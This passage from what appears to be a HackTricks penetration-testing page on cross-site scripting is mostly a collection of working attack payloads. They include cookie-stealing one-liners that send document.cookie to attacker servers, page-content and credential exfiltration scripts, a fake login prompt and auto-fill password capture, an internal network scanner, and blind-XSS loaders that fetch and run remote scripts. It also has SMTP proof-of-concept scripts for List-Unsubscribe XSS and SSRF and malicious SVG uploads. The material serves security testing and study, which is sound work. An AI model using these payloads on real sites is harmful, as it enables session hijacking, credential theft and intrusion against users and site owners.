 ﾟДﾟ[ﾟoﾟ] = '"'
 ﾟДﾟ["_"](
   ﾟДﾟ["_"](
     ﾟεﾟ +
       ﾟДﾟ[ﾟoﾟ] +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       ﾟｰﾟ +
       ﾟΘﾟ +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       (ﾟｰﾟ + ﾟΘﾟ) +
       ﾟｰﾟ +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       ﾟｰﾟ +
       (ﾟｰﾟ + ﾟΘﾟ) +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       ((o ^ _ ^ o) + (o ^ _ ^ o)) +
       ((o ^ _ ^ o) - ﾟΘﾟ) +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       ((o ^ _ ^ o) + (o ^ _ ^ o)) +
       ﾟｰﾟ +
       ﾟДﾟ[ﾟεﾟ] +
       (ﾟｰﾟ + ﾟΘﾟ) +
       (c ^ _ ^ o) +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟｰﾟ +
       ((o ^ _ ^ o) - ﾟΘﾟ) +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       ﾟΘﾟ +
       (c ^ _ ^ o) +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       ﾟｰﾟ +
       (ﾟｰﾟ + ﾟΘﾟ) +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       (ﾟｰﾟ + ﾟΘﾟ) +
       ﾟｰﾟ +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       (ﾟｰﾟ + ﾟΘﾟ) +
       ﾟｰﾟ +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       (ﾟｰﾟ + ﾟΘﾟ) +
       (ﾟｰﾟ + (o ^ _ ^ o)) +
       ﾟДﾟ[ﾟεﾟ] +
       (ﾟｰﾟ + ﾟΘﾟ) +
       ﾟｰﾟ +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟｰﾟ +
       (c ^ _ ^ o) +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       ﾟΘﾟ +
       ((o ^ _ ^ o) - ﾟΘﾟ) +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       ﾟｰﾟ +
       ﾟΘﾟ +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       ((o ^ _ ^ o) + (o ^ _ ^ o)) +
       ((o ^ _ ^ o) + (o ^ _ ^ o)) +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       ﾟｰﾟ +
       ﾟΘﾟ +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       ((o ^ _ ^ o) - ﾟΘﾟ) +
       (o ^ _ ^ o) +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       ﾟｰﾟ +
       (o ^ _ ^ o) +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       ((o ^ _ ^ o) + (o ^ _ ^ o)) +
       ((o ^ _ ^ o) - ﾟΘﾟ) +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       (ﾟｰﾟ + ﾟΘﾟ) +
       ﾟΘﾟ +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       ((o ^ _ ^ o) + (o ^ _ ^ o)) +
       (c ^ _ ^ o) +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟΘﾟ +
       ((o ^ _ ^ o) + (o ^ _ ^ o)) +
       ﾟｰﾟ +
       ﾟДﾟ[ﾟεﾟ] +
       ﾟｰﾟ +
       ((o ^ _ ^ o) - ﾟΘﾟ) +
       ﾟДﾟ[ﾟεﾟ] +
       (ﾟｰﾟ + ﾟΘﾟ) +
       ﾟΘﾟ +
       ﾟДﾟ[ﾟoﾟ]
   )(ﾟΘﾟ)
 )("_")
 ```
 
 ```javascript
 // It's also possible to execute JS code only with the chars: []`+!${}
 ```
 
 ## XSS common payloads
 
 ### Several payloads in 1
 
 
 [Steal Info Js](/hacktricks/pentesting-web/xss-cross-site-scripting/steal-info-js)
 
 ### Iframe Trap
 
 Make the use navigate in the page without exiting an iframe and steal of his actions (including information sent in forms):
 
 
 [Iframe Traps](/hacktricks/pentesting-web/iframe-traps)
 
 ### Retrieve Cookies
 
 ```javascript
 <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
 <img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
 <script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
 <script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
 <script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
 <script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
 <script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
 <script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
 <script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
 <script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
 <script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
 <script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
 <script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
 <script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
 <script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
 <script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
 <script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
 <script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
 
 > [!TIP]
 > You **won't be able to access the cookies from JavaScript** if the HTTPOnly flag is set in the cookie. But here you have [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) if you are lucky enough.
 
 ### Steal Page Content
 
 ```javascript
 var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
 var attacker = "http://10.10.14.8/exfil"
 var xhr = new XMLHttpRequest()
 xhr.onreadystatechange = function () {
   if (xhr.readyState == XMLHttpRequest.DONE) {
     fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
   }
 }
 xhr.open("GET", url, true)
 xhr.send(null)
 ```
 
 ### Find internal IPs
 
 ```html
 <script>
   var q = []
   var collaboratorURL =
     "http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
   var wait = 2000
   var n_threads = 51
 
   // Prepare the fetchUrl functions to access all the possible
   for (i = 1; i <= 255; i++) {
     q.push(
       (function (url) {
         return function () {
           fetchUrl(url, wait)
         }
       })("http://192.168.0." + i + ":8080")
     )
   }
 
   // Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
   for (i = 1; i <= n_threads; i++) {
     if (q.length) q.shift()()
   }
 
   function fetchUrl(url, wait) {
     console.log(url)
     var controller = new AbortController(),
       signal = controller.signal
     fetch(url, { signal })
       .then((r) =>
         r.text().then((text) => {
           location =
             collaboratorURL +
             "?ip=" +
             url.replace(/^http:\/\//, "") +
             "&code=" +
             encodeURIComponent(text) +
             "&" +
             Date.now()
         })
       )
       .catch((e) => {
         if (!String(e).includes("The user aborted a request") && q.length) {
           q.shift()()
         }
       })
 
     setTimeout((x) => {
       controller.abort()
       if (q.length) {
         q.shift()()
       }
     }, wait)
   }
 </script>
 ```
 
 ### Port Scanner (fetch)
 
 ```javascript
 const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
 ```
 
 ### Port Scanner (websockets)
 
 ```python
 var ports = [80, 443, 445, 554, 3306, 3690, 1234];
 for(var i=0; i<ports.length; i++) {
     var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
     s.start = performance.now();
     s.port = ports[i];
     s.onerror = function() {
         console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
     };
     s.onopen = function() {
         console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
     };
 }
 ```
 
 _Short times indicate a responding port_ _Longer times indicate no response._
 
 Review the list of ports banned in Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) and in Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
 
 ### Box to ask for credentials
 
 ```html
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your session has timed out, please log in again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
 
 ### Auto-fill passwords capture
 
 ```javascript
 <b>Username:</><br>
 <input name=username id=username>
 <b>Password:</><br>
 <input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
 method:'POST',
 mode: 'no-cors',
 body:username.value+':'+this.value
 });">
 ```
 
 When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
 
 ### Hijack form handlers to exfiltrate credentials (const shadowing)
 
 If a critical handler (e.g., `function DoLogin(){...}`) is declared later in the page, and your payload runs earlier (e.g., via an inline JS-in-JS sink), define a `const` with the same name first to preempt and lock the handler. Later function declarations cannot rebind a `const` name, leaving your hook in control:<sup>[[4]](#references)</sup>
 
 ```javascript
 const DoLogin = () => {
   const pwd  = Trim(FormInput.InputPassword.value);
   const user = Trim(FormInput.InputUtente.value);
   fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
 };
 ```
 
 Notes
 - This relies on execution order: your injection must execute before the legitimate declaration.
 - If your payload is wrapped in `eval(...)`, `const/let` bindings won’t become globals. Use the dynamic `<script>` injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” to ensure a true global, non-rebindable binding.
 - When keyword filters block code, combine with Unicode-escaped identifiers or `eval(atob('...'))` delivery, as shown above.
 
 ### Keylogger
 
 Just searching in github I found a few different ones:
 
 - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
 - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
 - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
 - You can also use metasploit `http_javascript_keylogger`
 
 ### Stealing CSRF tokens
 
 ```javascript
 <script>
 var req = new XMLHttpRequest();
 req.onload = handleResponse;
 req.open('get','/email',true);
 req.send();
 function handleResponse() {
     var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
     var changeReq = new XMLHttpRequest();
     changeReq.open('post', '/email/change-email', true);
     changeReq.send('csrf='+token+'&email=test@test.com')
 };
 </script>
 ```
 
 ### Stealing PostMessage messages
 
 ```html
 <img src="https://attacker.com/?" id=message>
 <script>
  window.onmessage = function(e){
  document.getElementById("message").src += "&"+e.data;
 </script>
 ```
 
 ### PostMessage-origin script loaders (opener-gated)
 
 If a page **stores `event.origin` from a `postMessage` and later concatenates it into a script URL**, the sender controls the **origin** of the loaded JS:<sup>[[6]](#references)</sup>
 
 ```javascript
 window.addEventListener('message', (event) => {
   if (event.data.msg_type === 'IWL_BOOTSTRAP') {
     localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
     startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
   }
 });
 ```
 
 Exploitation recipe (from CAPIG):
 
 - **Gates**: fires only when `window.opener` exists and `pixel_id` is allowlisted; **origin is never checked**.
 - **Use CSP-allowed origin**: pivot to a domain already permitted by the victim CSP (e.g., logged-out help pages allowing analytics like `*.THIRD-PARTY.com`) and host `/sdk/<pixel_id>/iwl.js` there via takeover/XSS/upload.
 - **Restore `opener`**: in Android WebView, `window.name='x'; window.open(target,'x')` makes the page its own opener; send the malicious `postMessage` from a hijacked iframe.
 - **Trigger**: the iframe posts `{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}`; the parent then loads attacker `iwl.js` from the CSP-allowed origin and runs it.
 
 This turns origin-less `postMessage` validation into a **remote script loader primitive** that survives CSP if you can land on any origin already allowed by the policy.
 
 ### Supply-chain stored XSS via backend JS concatenation
 
 When a backend **builds a shared SDK by concatenating JS strings with user-controlled values**, any quote/structure breaker can inject script that is served to every consumer:<sup>[[6]](#references)</sup>
 
 - Example pattern (Meta CAPIG): server appends `cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});` directly into `capig-events.js`.
 - Injecting `'` or `"]}` closes the literal/object and adds attacker JS, creating **stored XSS** in the distributed SDK for every site that loads it (first-party and third-party).
 
 ### Stored XSS in generated reports when escaping is disabled
 
 If uploaded files are parsed and their metadata is printed into HTML reports with escaping disabled (`|safe`, custom renderers), that metadata is a **stored XSS sink**. Example flow:<sup>[[7]](#references)</sup>
 
 ```python
 xmlhost = data.getAttribute(f'{ns}:host')
 ret_list.append(('dialer_code_found', (xmlhost,), ()))
 'title': a_template['title'] % t_name  # %s fed by xmlhost
 ```
 
 A Django template renders `{{item|key:"title"|safe}}`, so attacker HTML runs.
 
 **Exploit:** place **entity-encoded HTML** in any manifest/config field that reaches the report:
 
 ```xml
 <data android:scheme="android_secret_code"
       android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/>
 ```
 
 Rendered with `|safe`, the report outputs `<img ...>` and fires JS on view.
 
 **Hunting:** look for report/notification builders that reuse parsed fields in `%s`/f-strings and disable auto-escape. One encoded tag in an uploaded manifest/log/archive persists XSS for every viewer.
 
 ### Abusing Service Workers
 
 
 [Abusing Service Workers](/hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers)
 
 ### Accessing Shadow DOM
 
 
 [Shadow Dom](/hacktricks/pentesting-web/xss-cross-site-scripting/shadow-dom)
 
 ### Polyglots
 
 
 [Xss Polyglots.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/https%3A/github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt)
 
 ### Blind XSS payloads
 
 You can also use: [https://xsshunter.com/](https://xsshunter.com)
 
 ```html
 "><img src='//domain/xss'>
 "><script src="//domain/xss.js"></script>
 ><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
 <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
 
 <!-- html5sec - Self-executing focus event via autofocus: -->
 "><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
 
 <!-- html5sec - JavaScript execution via iframe and onload -->
 "><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
 
 <!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
 "><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
 
 <!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
 "><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
 
 <!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
 "><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
 
 <!-- xsshunter.com - Sites that use JQuery -->
 <script>$.getScript("//domain")</script>
 
 <!-- xsshunter.com - When <script> is filtered -->
 "><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>
 
 <!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
 "><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>
 
 <!-- noscript trick -->
 <noscript><p title="</noscript><img src=x onerror=alert(1)>">
 
 <!-- whitelisted CDNs in CSP -->
 "><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
 <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
 <!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
 <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
 
 <!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
 <!-- Image tag -->
 '"><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
 
 <!-- Input tag with autofocus -->
 '"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
 
 <!-- In case jQuery is loaded, we can make use of the getScript method -->
 '"><script>$.getScript("{SERVER}/script.js")</script>
 
 <!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
 javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
 
 <!-- Render an iframe to validate your injection point and receive a callback -->
 '"><iframe src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/%7BSERVER%7D"></iframe>
 
 <!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
 <base href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/%7BSERVER%7D" />
 
 <!-- Make use of the meta-tag to initiate a redirect -->
 <meta http-equiv="refresh" content="0; url={SERVER}" />
 
 <!-- In case your target makes use of AngularJS -->
 {{constructor.constructor("import('{SERVER}/script.js')")()}}
 ```
 
 ### Regex - Access Hidden Content
 
 From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:<sup>[[17]](#references)</sup>
 
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
 re = /./g
 re.test(flag)
 
 // Remove flag value, nobody will be able to get it, right?
 flag = ""
 
 // Access previous regex input
 console.log(RegExp.input)
 console.log(RegExp.rightContext)
 console.log(
   document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
 )
 ```
 
 ### Brute-Force List
 
 
 [Xss.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/https%3A/github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt)
 
 ## XSS Abusing other vulnerabilities
 
 ### XSS in Markdown
 
 Can inject Markdown code that will be renderer? Maybe you you can get XSS! Check:
 
 
 [Xss In Markdown](/hacktricks/pentesting-web/xss-cross-site-scripting/xss-in-markdown)
 
 ### XSS to SSRF
 
 Got XSS on a **site that uses caching**? Try **upgrading that to SSRF** through Edge Side Include Injection with this payload:
 
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
 
 Use it to bypass cookie restrictions, XSS filters and much more!\
 More information about this technique here: [**XSLT**](/hacktricks/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations).
 
 ### XSS in dynamic created PDF
 
 If a web page is creating a PDF using user controlled input, you can try to **trick the bot** that is creating the PDF into **executing arbitrary JS code**.\
 So, if the **PDF creator bot finds** some kind of **HTML** **tags**, it is going to **interpret** them, and you can **abuse** this behaviour to cause a **Server XSS**.
 
 
 [Server Side Xss Dynamic Pdf](/hacktricks/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf)
 
 If you cannot inject HTML tags it could be worth it to try to **inject PDF data**:
 
 
 [Pdf Injection](/hacktricks/pentesting-web/xss-cross-site-scripting/pdf-injection)
 
 ### XSS in Amp4Email
 
 AMP, aimed at accelerating web page performance on mobile devices, incorporates HTML tags supplemented by JavaScript to ensure functionality with an emphasis on speed and security. It supports a range of components for various features, accessible via [AMP components](https://amp.dev/documentation/components/?format=websites).
 
 The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.
 
 Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).<sup>[[18]](#references)</sup>
 
 ### List-Unsubscribe Header Abuse (Webmail XSS & SSRF)
 
 The RFC 2369 `List-Unsubscribe` header embeds attacker-controlled URIs that many webmail and mail clients automatically convert into "Unsubscribe" buttons. When those URIs are rendered or fetched without validation, the header becomes an injection point for both stored XSS (if the unsubscribe link is placed in the DOM) and SSRF (if the server performs the unsubscribe request on behalf of the user).<sup>[[2]](#references)</sup>
 
 #### Stored XSS via `javascript:` URIs
 
 1. **Send yourself an email** where the header points to a `javascript:` URI while keeping the rest of the message benign so that spam filters do not drop it.
 2. **Ensure the UI renders the value** (many clients show it in a "List Info" pane) and check whether the resulting `<a>` tag inherits attacker-controlled attributes such as `href` or `target`.
 3. **Trigger execution** (e.g., CTRL+click, middle-click, or "open in new tab") when the link uses `target="_blank"`; browsers will evaluate the supplied JavaScript in the origin of the webmail application.
 4. Observe the stored-XSS primitive: the payload persists with the email and only requires a click to execute.
 
 ```text
 List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
 List-Unsubscribe-Post: List-Unsubscribe=One-Click
 ```
 
 The newline byte (`%0a`) in the URI shows that even unusual characters survive the rendering pipeline in vulnerable clients such as Horde IMP H5, which will output the string verbatim inside the anchor tag.
 
 <details>
 <summary>Minimal SMTP PoC that delivers a malicious List-Unsubscribe header</summary>
 
 ```python
 #!/usr/bin/env python3
 import smtplib
 from email.message import EmailMessage
 
 smtp_server = "mail.example.org"
 smtp_port = 587
 smtp_user = "user@example.org"
 smtp_password = "REDACTED"
 sender = "list@example.org"
 recipient = "victim@example.org"
 
 msg = EmailMessage()
 msg.set_content("Testing List-Unsubscribe rendering")
 msg["From"] = sender
 msg["To"] = recipient
 msg["Subject"] = "Newsletter"
 msg["List-Unsubscribe"] = "<javascript://evil.tld/%0aconfirm(document.domain)>"
 msg["List-Unsubscribe-Post"] = "List-Unsubscribe=One-Click"
 
 with smtplib.SMTP(smtp_server, smtp_port) as smtp:
     smtp.starttls()
     smtp.login(smtp_user, smtp_password)
     smtp.send_message(msg)
 ```
 
 </details>
 
 #### Server-side unsubscribe proxies -> SSRF
 
 Some clients, such as the Nextcloud Mail app, proxy the unsubscribe action server-side: clicking the button instructs the server to fetch the supplied URL itself. That turns the header into an SSRF primitive, especially when administrators set `'allow_local_remote_servers' => true` (documented in [HackerOne report 2902856](https://hackerone.com/reports/2902856)), which allows requests toward loopback and RFC1918 ranges.<sup>[[3]](#references)</sup>
 
 1. **Craft an email** where `List-Unsubscribe` targets an attacker-controlled endpoint (for blind SSRF use Burp Collaborator / OAST).
 2. **Keep `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** so the UI shows a single-click unsubscribe button.
 3. **Satisfy trust requirements**: Nextcloud, for example, only performs HTTPS unsubscribe requests when the message passes DKIM, so the attacker must sign the email using a domain they control.
 4. **Deliver the message to a mailbox processed by the target server** and wait until a user clicks the unsubscribe button.
 5. **Observe the server-side callback** at the collaborator endpoint, then pivot to internal addresses once the primitive is confirmed.
 
 ```text
 List-Unsubscribe: <http://abcdef.oastify.com>
 List-Unsubscribe-Post: List-Unsubscribe=One-Click
 ```
 
 <details>
 <summary>DKIM-signed List-Unsubscribe message for SSRF testing</summary>
 
 ```python
 #!/usr/bin/env python3
 import smtplib
 from email.message import EmailMessage
 import dkim
 
 smtp_server = "mail.example.org"
 smtp_port = 587
 smtp_user = "user@example.org"
 smtp_password = "REDACTED"
 dkim_selector = "default"
 dkim_domain = "example.org"
 dkim_private_key = """-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----"""
 
 msg = EmailMessage()
 msg.set_content("One-click unsubscribe test")
 msg["From"] = "list@example.org"
 msg["To"] = "victim@example.org"
 msg["Subject"] = "Mailing list"
 msg["List-Unsubscribe"] = "<http://abcdef.oastify.com>"
 msg["List-Unsubscribe-Post"] = "List-Unsubscribe=One-Click"
 
 raw = msg.as_bytes()
 signature = dkim.sign(
     message=raw,
     selector=dkim_selector.encode(),
     domain=dkim_domain.encode(),
     privkey=dkim_private_key.encode(),
     include_headers=["From", "To", "Subject"]
 )
 msg["DKIM-Signature"] = signature.decode().split(": ", 1)[1].replace("\r", "").replace("\n", "")
 
 with smtplib.SMTP(smtp_server, smtp_port) as smtp:
     smtp.starttls()
     smtp.login(smtp_user, smtp_password)
     smtp.send_message(msg)
 ```
 
 </details>
 
 **Testing notes**
 
 - Use an OAST endpoint to collect blind SSRF hits, then adapt the `List-Unsubscribe` URL to target `http://127.0.0.1:PORT`, metadata services, or other internal hosts once the primitive is confirmed.
 - Because the unsubscribe helper often reuses the same HTTP stack as the application, you inherit its proxy settings, HTTP verbs, and header rewrites, enabling further traversal tricks described in the [SSRF methodology](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/overview).
 
 ### XSS uploading files (svg)
 
 Upload as an image a file like the following one (from [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
 
 ```html
 Content-Type: multipart/form-data; boundary=---------------------------232181429808
 Content-Length: 574
 -----------------------------232181429808
 Content-Disposition: form-data; name="img"; filename="img.svg"
 Content-Type: image/svg+xml
 
 <?xml version="1.0" standalone="no"?>
 <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
 <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
    <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
    <script type="text/javascript">
       alert(1);
    </script>
 </svg>
 -----------------------------232181429808--
 ```
 
 ```html
 <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
    <script type="text/javascript">alert("XSS")</script>
 </svg>
 ```
 
 ```html
 <?xml version="1.0" standalone="no"?>
 <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
 <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
 <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
 <script type="text/javascript">
 alert("XSS");
 </script>
 </svg>
 ```
 
 ```text
 <svg width="500" height="500"
   xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
   <circle cx="50" cy="50" r="45" fill="green"
           id="foo"/>
 
   <foreignObject width="500" height="500">
      <iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
      <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
   </foreignObject>
 </svg>
 ```
 
 ```html
 <svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
 ```
 
 ```xml
 <svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
 ```
 
